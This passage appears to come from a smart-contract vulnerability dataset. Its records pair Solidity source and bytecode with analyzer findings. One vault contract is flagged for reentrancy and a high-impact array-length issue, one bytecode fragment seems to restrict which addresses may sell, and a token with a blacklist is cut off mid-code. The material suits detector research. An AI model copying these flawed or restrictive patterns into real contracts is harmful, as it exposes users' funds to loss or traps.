ffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ab43a1fe24f7b1a97182c042def3103f794dbf4a45815143d678f567c7087c6c64736f6c63430006060033
{"success": true, "error": null, "results": {}}
1,038
0xf910ee6b3924ccf6debbab503a7c62b797fb9fab
pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pLENDVault { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct RewardDivide { mapping (address => uint256) amount; uint256 time; } IERC20 public token = IERC20(0x80fB784B7eD66730e8b1DBd9820aFD29931aab03); address public governance; uint256 public totalDeposit; mapping(address => uint256) public depositBalances; mapping(address => uint256) public rewardBalances; address[] public addressIndices; mapping(uint256 => RewardDivide) public _rewards; uint256 public _rewardCount = 0; event Withdrawn(address indexed user, uint256 amount); constructor () public { governance = msg.sender; } function balance() public view returns (uint) { return token.balanceOf(address(this)); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint256 _amount) public { require(_amount > 0, "can't deposit 0"); uint arrayLength = addressIndices.length; bool found = false; for (uint i = 0; i < arrayLength; i++) { if(addressIndices[i]==msg.sender){ found=true; break; } } if(!found){ addressIndices.push(msg.sender); } uint256 realAmount = _amount.mul(995).div(1000); uint256 feeAmount = _amount.mul(5).div(1000); address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC; address vaultAddress = 0xC5f72C89Bd658ACeD718355115514Ff9AAaeF441; // Vault6 Address token.safeTransferFrom(msg.sender, feeAddress, feeAmount); token.safeTransferFrom(msg.sender, vaultAddress, realAmount); totalDeposit = totalDeposit.add(realAmount); depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount); } function reward(uint256 _amount) external { require(_amount > 0, "can't reward 0"); require(totalDeposit > 0, "totalDeposit must bigger than 0"); token.safeTransferFrom(msg.sender, address(this), _amount); uint arrayLength = addressIndices.length; for (uint i = 0; i < arrayLength; i++) { rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].add(_amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit)); _rewards[_rewardCount].amount[addressIndices[i]] = _amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit); } _rewards[_rewardCount].time = block.timestamp; _rewardCount++; } function withdrawAll() external { withdraw(rewardBalances[msg.sender]); } function withdraw(uint256 _amount) public { require(_rewardCount > 0, "no reward amount"); require(_amount > 0, "can't withdraw 0"); uint256 availableWithdrawAmount = availableWithdraw(msg.sender); if (_amount > availableWithdrawAmount) { _amount = availableWithdrawAmount; } token.safeTransfer(msg.sender, _amount); rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount); emit Withdrawn(msg.sender, _amount); } function availableWithdraw(address owner) public view returns(uint256){ uint256 availableWithdrawAmount = rewardBalances[owner]; for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.add(7 days); --i) { availableWithdrawAmount = availableWithdrawAmount.sub(_rewards[i].amount[owner].mul(_rewards[i].time.add(7 days).sub(block.timestamp)).div(7 days)); if (i == 0) break; } return availableWithdrawAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a9fb763c11610097578063de5f626811610066578063de5f626814610276578063e2aa2a851461027e578063f6153ccd14610286578063fc0c546a1461028e57610100565b8063a9fb763c1461020e578063ab033ea91461022b578063b69ef8a814610251578063b6b55f251461025957610100565b8063853828b6116100d3578063853828b6146101a65780638f1e9405146101ae57806393c8dc6d146101cb578063a7df8c57146101f157610100565b80631eb903cf146101055780632e1a7d4d1461013d5780633df2c6d31461015c5780635aa6e67514610182575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610296565b60408051918252519081900360200190f35b61015a6004803603602081101561015357600080fd5b50356102a8565b005b61012b6004803603602081101561017257600080fd5b50356001600160a01b03166103dd565b61018a6104d7565b604080516001600160a01b039092168252519081900360200190f35b61015a6104e6565b61012b600480360360208110156101c457600080fd5b5035610501565b61012b600480360360208110156101e157600080fd5b50356001600160a01b0316610516565b61018a6004803603602081101561020757600080fd5b5035610528565b61015a6004803603602081101561022457600080fd5b503561054f565b61015a6004803603602081101561024157600080fd5b50356001600160a01b03166107a2565b61012b610811565b61015a6004803603602081101561026f57600080fd5b503561088e565b61015a610a5f565b61012b610adc565b61012b610ae2565b61018a610ae8565b60036020526000908152604090205481565b6000600754116102f2576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b6000811161033a576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6000610345336103dd565b905080821115610353578091505b600054610370906001600160a01b0316338463ffffffff610af716565b33600090815260046020526040902054610390908363ffffffff610b4e16565b33600081815260046020908152604091829020939093558051858152905191927f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d592918290030190a25050565b6001600160a01b038116600090815260046020526040812054600754600019015b6000818152600660205260409020600101546104239062093a8063ffffffff610b9916565b4210156104d0576104bb6104ae62093a806104a26104734261046762093a80600660008a815260200190815260200160002060010154610b9990919063ffffffff16565b9063ffffffff610b4e16565b60008681526006602090815260408083206001600160a01b038d1684529091529020549063ffffffff610bf316565b9063ffffffff610c4c16565b839063ffffffff610b4e16565b9150806104c7576104d0565b600019016103fe565b5092915050565b6001546001600160a01b031681565b336000908152600460205260409020546104ff906102a8565b565b60066020526000908152604090206001015481565b60046020526000908152604090205481565b6005818154811061053557fe5b6000918252602090912001546001600160a01b0316905081565b60008111610595576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b6000600254116105ec576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60005461060a906001600160a01b031633308463ffffffff610c8e16565b60055460005b8181101561077f576106a96106676002546104a2600360006005878154811061063557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054879063ffffffff610bf316565b600460006005858154811061067857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549063ffffffff610b9916565b60046000600584815481106106ba57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400181209190915560025460058054610730936104a292600392879081106106fe57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054869063ffffffff610bf316565b6007546000908152600660205260408120600580549192918590811061075257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600101610610565b505060078054600090815260066020526040902042600191820155815401905550565b6001546001600160a01b031633146107ef576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d602081101561088757600080fd5b5051905090565b600081116108d5576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b6005546000805b8281101561092757336001600160a01b0316600582815481106108fb57fe5b6000918252602090912001546001600160a01b0316141561091f5760019150610927565b6001016108dc565b508061097057600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b031916331790555b600061098a6103e86104a2866103e363ffffffff610bf316565b905060006109a56103e86104a287600563ffffffff610bf316565b60005490915073d319d5a9d039f06858263e95235575bb0bd630bc9073c5f72c89bd658aced718355115514ff9aaaef441906109f2906001600160a01b031633848663ffffffff610c8e16565b600054610a10906001600160a01b031633838763ffffffff610c8e16565b600254610a23908563ffffffff610b9916565b60025533600090815260036020526040902054610a46908563ffffffff610b9916565b3360009081526003602052604090205550505050505050565b600054604080516370a0823160e01b815233600482015290516104ff926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610aab57600080fd5b505afa158015610abf573d6000803e3d6000fd5b505050506040513d6020811015610ad557600080fd5b505161088e565b60075481565b60025481565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b49908490610cee565b505050565b6000610b9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea6565b90505b92915050565b600082820183811015610b90576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c0257506000610b93565b82820282848281610c0f57fe5b0414610b905760405162461bcd60e51b8152600401808060200182810382526021815260200180610fdf6021913960400191505060405180910390fd5b6000610b9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3d565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610ce8908590610cee565b50505050565b610d00826001600160a01b0316610fa2565b610d51576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d8f5780518252601f199092019160209182019101610d70565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610df1576040519150601f19603f3d011682016040523d82523d6000602084013e610df6565b606091505b509150915081610e4d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610ce857808060200190516020811015610e6957600080fd5b5051610ce85760405162461bcd60e51b815260040180806020018281038252602a815260200180611000602a913960400191505060405180910390fd5b60008184841115610f355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610efa578181015183820152602001610ee2565b50505050905090810190601f168015610f275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610efa578181015183820152602001610ee2565b506000838581610f9857fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610fd65750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a7231582081f5b17ef00fdbae2a03082b8bb4c64a9d9ff143bd0234304a2210da4fa7df2e64736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
1,039
0xf114fe1e0fcf562fe4c92fe08b80fa60d3d7cd7b
/** https://t.me/konginuerc B&BBBBBB#&&#BBBB#B#@: :P##BBBBBBBBBBB##J G&BBBBBB#&B&#BBBBB&& 7B#BBBBBBBBBBB##G~ .&#BBBBBB&&. P&BBBBBB#&B&#BBBBB&&. G&BBBBBB#@&#BBBBBB&G @5 :@B B@ ~@J. .^#& @5 5@# ?@: B&~. .7@J ~@^ !@~ &G J@&. !@^ @5 .@& B@ @5 :&: 7@~ ## .^ ~@~ @5 B# ?@..@7 ^: B@ ~@^ !@~ &G G& !@^ @5 .@& B@ @5 :7 :@5 ## G@: ~@! @5 .5 ?@..@! .@&YYYYYYY&& ~@^ !@~ &G .5. !@^ @5 .@& B@ @5 #& ## B@: ~@~ @5 . ?@..@! :@&5555555&& ~@^ !@~ &G . !@^ @5 .@& B@ @5 . G@. ## B@: ~@~ @5 . ?@..@! :@B B@ ~@^ !@~ &G . !@^ @5 .@& B@ @5 :? .@G ## B@^ ~@~ @5 P^ ?@..@! :@# B& ~@^ !@~ &G Y! !@^ @5 .@& B@ @5 :@: !@! ## !5. ~@~ @5 B&. ?@..@! .57 B& ~@^ !@~ &G P@. !@^ @5 Y? B@ @5 .@# G@ J@^ G@. @Y G@B ?@: &B .. B& ~@^ ~@~ &P 5@# !@~ B&. :@B &#?JJJJJ5@@P?JJJJ?5@7 J#PJ??????????JYB#^ &#?JJJJ?&&&G?JJJJ?B@. .BB5J???????YB#P!.B@ :@PJJJJJ?G@: #&?JJJJ?#&&B?JJJJ?G@: P#5J??????????JP#5 ^^^^^^^^:.^^^^^^^^: .^~~~~~~~~~~~:. .^^^^^^^^ ^^^^^^^^. :~~~~~~~~:. ^P#@G .^^^^^^^^. ^^^^^^^^. ^^^^^^^^. .^~~~~~~~~~~^. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KongInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Kong Inu"; string private constant _symbol = "KONGI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x6f85173d7DBa5729450FC82E2463c57427C701f0); address payable private _marketingAddress = payable(0x6f85173d7DBa5729450FC82E2463c57427C701f0); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( 